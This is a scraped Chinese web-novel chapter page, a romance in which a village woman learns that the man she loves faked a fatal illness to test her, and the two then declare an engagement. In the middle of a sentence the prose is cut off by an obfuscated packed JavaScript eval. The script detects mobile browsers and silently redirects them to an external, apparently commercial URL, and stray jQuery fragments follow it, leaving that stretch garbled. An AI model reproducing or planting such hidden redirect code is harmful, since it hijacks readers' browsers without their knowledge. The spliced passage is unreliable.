默认冷灰
24号文字
方正启体

20. 第 20 章

作者:乔木依本书字数:K更新时间:
    这几日,平乐村里多了一道离奇的新鲜事:阮灵溪那个不会说话的哑巴妹妹忽然会说话了。


    与之一同被津津乐道的,还有阮灵溪托人为自己物色亲事一事。


    这事在村中青壮年之间引起轰动。


    阮灵溪在平乐村住了三年,美貌与品性人尽皆知,向来是村中众多男子暗中倾慕的对象,只因她很少出门,性子又冷淡,再加上被陆怀仁纠缠不休,村中男子皆不敢上门示好。


    如今她主动招亲,平日门可罗雀的家门口,此时变得门庭若市。


    张罗着要把阮灵溪嫁去外村的人坐不住了,她们低估了村里男子对美色的渴求,为了不让阮灵溪留在村里,她们每日脚不沾地的奔走于各个村子,将她的条件极尽夸大,只求能将她尽早嫁出去。


    可外村人并未见过阮灵溪样貌,只在听说了陆怀仁也倾心于她后,哪敢沾染上这个麻烦,纷纷避之不及。


    阮灵溪对此还一无所知。


    她生病了,整日昏昏沉沉地躺在床上,身上烧了又退,退了又烧,即便盖了三床被子,可还是忍不住发抖。


    云栖将外头那些殷勤献事的男子都打发了回去,她关好屋门,上好锁,来到床前,抬手摸了下阮灵溪额头。


    “再烧下去人都得烧痴了,还犟什么?”云栖不由分说地站起身,“我去请刘老大夫来。”


    “云栖,去了你便不是我妹妹。”阮灵溪掀开眼皮,有气无力道,“给我倒碗水。”


    云栖无奈叹气,转身给她倒了碗温水,将她扶起,看着她一口口喝下去。


    “你就撑着吧,身体硬,嘴巴更硬。”


    一碗水都喝完,云栖将她慢慢扶好躺下,将碗搁在桌上。


    那日,她躲在东屋,将姐姐和石凌的谈话都听得清清楚楚,刚解除了对石凌的误会,可是又对姐姐有些看不懂了。


    “你分明倾心于石大哥,他既已向你解释了拒婚的缘由,又主动求娶,你为何要拒绝?”


    眼底闪过一丝痛楚,阮灵溪忙垂下眼强压下去,沉默半晌,才疲惫地说:“我自有我的骄傲,岂容他召之即来挥之即去?”


    云栖给她盖好被子,“什么骄傲不骄傲的,我不懂,只是你那话说的也太重了,石大哥可能再也不会来了。”


    阮灵溪微微侧过头,想起了那天听到石凌向她提出成亲时,她一时气愤,脱口而出的那段话。


    “我已说过,当初让人去与你说合,不过是为应付村里人,临时起意的权宜之计,你真的不必当真,也不必因拒绝我愧疚,而再提出成亲之事,其实我对你并无情意,不知是我哪里越了界让你误会,往后我自会注意,与你保持距离,也请你收回刚才的话,并且离我远些,免得再被村里人议论,平白无故污了你的名声。”


    当日,她在说这话时,只觉浑身通畅,话落后,她虽后知后觉感到痛苦,可从石凌的脸上,只看到他微沉的面色,加上他一言不发,只轻轻点头,然后镇定自若地离去,她竟觉得自己无比可笑与讽刺。


    时至今日,石凌再没踏过她的院门。


    若要问她是否会对说出那番话后悔,至少在此时此刻,她从没觉得后悔。


    “灵溪姑娘在家吗?”


    谢如风的声音在门外响起,紧跟着便是一阵急促的敲门声。


    云栖心里一喜,“姐姐,是谢大哥。”


    阮灵溪微顿片刻,心里莫名的一股失落,她在云栖的搀扶下,艰难坐起身,又拿了件衣裳披在身上,一切就绪后,云栖这才去开门。


    “你来干什么?”云栖堵在门口,故意冷声问。


    “石凌生病了,前日上山回去后不知怎么的便病了,烧了几天不退,眼下躺在床上奄奄一息,刘老大夫诊断后,说是……”他皱了皱眉,还是将那句烫口的话说了出来,“说是不日就要归天。”


    话从门外清晰地传进来,阮灵溪僵在床上,一时之间竟失了言语,脑子一片凌乱。


    她明明恨石凌,可为什么现在心好像被撕裂一般,疼的她喘不过气,四肢都跟着发颤,脱离了她的掌控。


    “云栖,”阮灵溪许久才反应过来,她拼尽周身力气叫着云栖的名字。


    云栖也处于震惊状态,听到姐姐呼唤,她急忙应了一声儿,对门口的谢如风说,“等着。”然后急忙进屋。


    阮灵溪抓着衣服,抖抖索索地往身上套,云栖一边帮忙,一边叹息,“你俩也真是心有灵犀,连生病都赶在同一时候。”


    穿好衣服,云栖又找了件褂袄给阮灵溪披上,才扶着她出了门。


    此刻,赵文奂正躺在床上,忧虑不安,这实在是个糟糕透顶的主意。


    习惯了被人顺从的他,忽然被阮灵溪干脆利落地拒绝,他觉得自己颜面尽失,尊严更像是被丢在地上踩踏,可毕竟对方是女子,尽管自己气闷不甘心,他还是得故作平静地离开,保持最后体面。


    可也真是奇怪,离了那里,他满心只剩下后悔,后悔死要面子决绝离开,后悔没有强硬些再多缠她几句,也许她只是嘴硬赌气呢。


    可后悔归后悔,若再让他抬步迈进那院子,他又有了顾虑,阮灵溪家里这几日热闹非凡,她是铁了心要将自己嫁出去,可偏偏又闭门不出,想是不想再见到他。


    他又想起阮灵溪所说的,对他并无半分情爱之心的话,觉得自己还是不要自找没趣得好。


    谢如风见他每日在屋中叹气,一副失魂落魄的样子,索性给他出个好主意,以装病来试探阮灵溪对他的真心。


    眼下,谢如风不过去了片刻,他便躺在床上,翻来覆去,烦躁不安,头上的热帕子已经凉了。


    门口传来有人进门的声音,赵文奂急忙盖好被子,将帕子在头上放好,合上双眼,平息凝气。


    谢如风帮忙开了门,阮灵溪踏进屋内,看到躺在床上的赵文奂,心口骤然收缩,眼眶瞬间温热。


    云栖还要扶着她进去,却被谢如风一把拉住,拦在门外,并替二人关好房门。


    阮灵溪昏昏沉沉地走近,轻轻坐在床边,看着床上人呼吸微弱的模样,觉出他是真的要死了,往日相处的种种,尽在此刻浮现,她再也控制不住,抬手去摸他的脸,又暖又烫,以至于忍不住落下泪来。


    想起谢如风说他在上山后便病倒,她知道他是为了帮村里找那些山贼。


    “石凌,你为何要上山,把自己折腾成这副模样,早知会让你丢了性命,无论如何我都不会让你上山。”


    赵文奂躺在床上,听着她带着哭腔的话语,心顿时化成一团,与此同时,欺骗的愧疚感,令他如芒在背。


    此刻,又听到谢如风拿上山的事作为生病的借口,他登时无言以对,心里暗骂谢如风成事不足败事有余。


    那日上山,确实是为探查山贼的底细,上次山贼袭村,他持刀抵住贼首脖颈,对方害怕丢命便将所知之事尽数招供,果真与他所料不差,城中有人借着山贼作乱掩人耳目,实则在山中隐秘之处,实行不法之事,只是,张大人被害一事,他坚持说山中有多伙盗贼,拒不承认是自己人所为。


    他和谢如风按照山贼供的路线查探,找到那处地方后,发现竟是私开的金矿,他未惊动对方,而是把这个线索交给城中的孙貌查办,目前尚不知这金矿的背后究竟是谁。


    如此天大的事


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17490860|202216||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,谢如风竟然拿它当借口,赵文奂恨不能立刻从床上跳起来。


    阮灵溪抽噎了一会儿,擦掉脸上的泪,她掀开被角,想去握着他的手,离他更近一些,却不想在刚触碰的瞬间,她的手反被一把握住。


    阮灵溪身子一震,下意识地看向他的脸。


    “灵溪,你一来,我的病便全好了。”赵文奂说完,轻松睁开眼,可转瞬便觉出她的手温不对劲。


    他将帕子丢开,坐起身,两只手握住阮灵溪的手,“怎么这样冷?”又见她脸上苍白无血色,身上似乎在微微战栗,担心地问:“你生病了?”


    阮灵溪刚从庆幸他身体无碍的担心里回过神,转头便觉得自己被耍了,恨不得转身就走。


    她推开他的手,红着眼睛,声音也微微发颤,“你简直不可理喻,你怎么能这样骗我?”


    说罢,她站起身,然身体飘飘然,只一瞬,她便觉得眼前一黑,软软倒了下去。


    等再醒来时,她已经回到家,躺在自己床上,旁边还坐着刘老大夫,正在收拾药箱,显然是刚刚替她把过脉。


    赵文奂和云栖站在一旁,见她醒来,赵文奂过来握住她的手,“你可知你方才在鬼门关走了一趟,身体不适,怎么不早点请刘老大夫来,非要熬到自己撑不住?”


    阮灵溪心里觉得委屈,可想起自己被他那样戏弄,又不想与他多言,她抽出手,竟觉得手腕处隐隐胀痛,“老先生,我得的是什么病?”


    “你这是风寒入体,加上心情郁结,以至高热缠绵,多日不退。”刘老大夫背上药箱,“再拖下去,便会严重伤了根本,连性命都有危险,我方才为你施了针,驱散寒邪,烧很快便退,你切记莫要再受风,定得按照药方按时吃药。”


    阮灵溪轻轻点了下头,“多谢老先生。”她瞥过赵文奂,继续说:“方才有人说,老先生您替石凌诊了脉,说他性命垂危,即将归天,能劳烦您再仔细瞧瞧,他如今这模样,究竟还有几分活不成的样子。”


    “嗯?”刘老先生怒哼一声,“我根本不曾为石凌诊脉,更没说过这胡话,到底是谁再外面造谣,平白败坏我的名声?”


    云栖早已经了然,她急忙拉着刘老大夫,送他出门。


    屋里只剩下二人,赵文奂逗弄她:“看你这会儿都能开玩笑,身子应该是没什么大碍了。”


    阮灵溪敛眉看着他,一时又想起被他拒绝后的难堪,及被他哄骗后的气恼,她冷冷地扔下一个字,“滚!”


    赵文奂微愣,却全然不似前几日那般矜傲,反而扬起嘴角,“上次我赌气走了,害的你病成这般模样,这次,我偏不走。”


    阮灵溪转过头不去看他,“我病是我自己的事,与你有何关系,你不必自作多情。”


    这时,云栖推门进来了,她看了一眼赵文奂,然后撇嘴道:“姐姐,那个邹大嫂带着你那未来夫君上门了。”


    阮灵溪心里一沉,不想这一日竟这么早来到,她虽抵触,可话是自己放出去的,就算对这人不满,到底还得出门看一眼,才不会驳了邹大嫂面子。


    她正要下床,却被赵文奂一把按住,“看来,到我这个正牌夫君出面之时了。”


    阮灵溪与云栖双双愕然,还没等她俩反应,赵文奂已经出了屋门。


    云栖看了眼门口,眼睛睁得圆圆的,不敢相信地问:“姐姐,你们……你不是还跟石大哥闹着别扭吗,怎么这会儿就定下亲了。”


    阮灵溪还懵着,她红着脸,正要解释,忽听门口传来赵文奂那不高不低的恭敬说话声。


    “多谢大嫂专程跑来,只是我与灵溪已定下终身,您就不必再为她张罗婚事了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)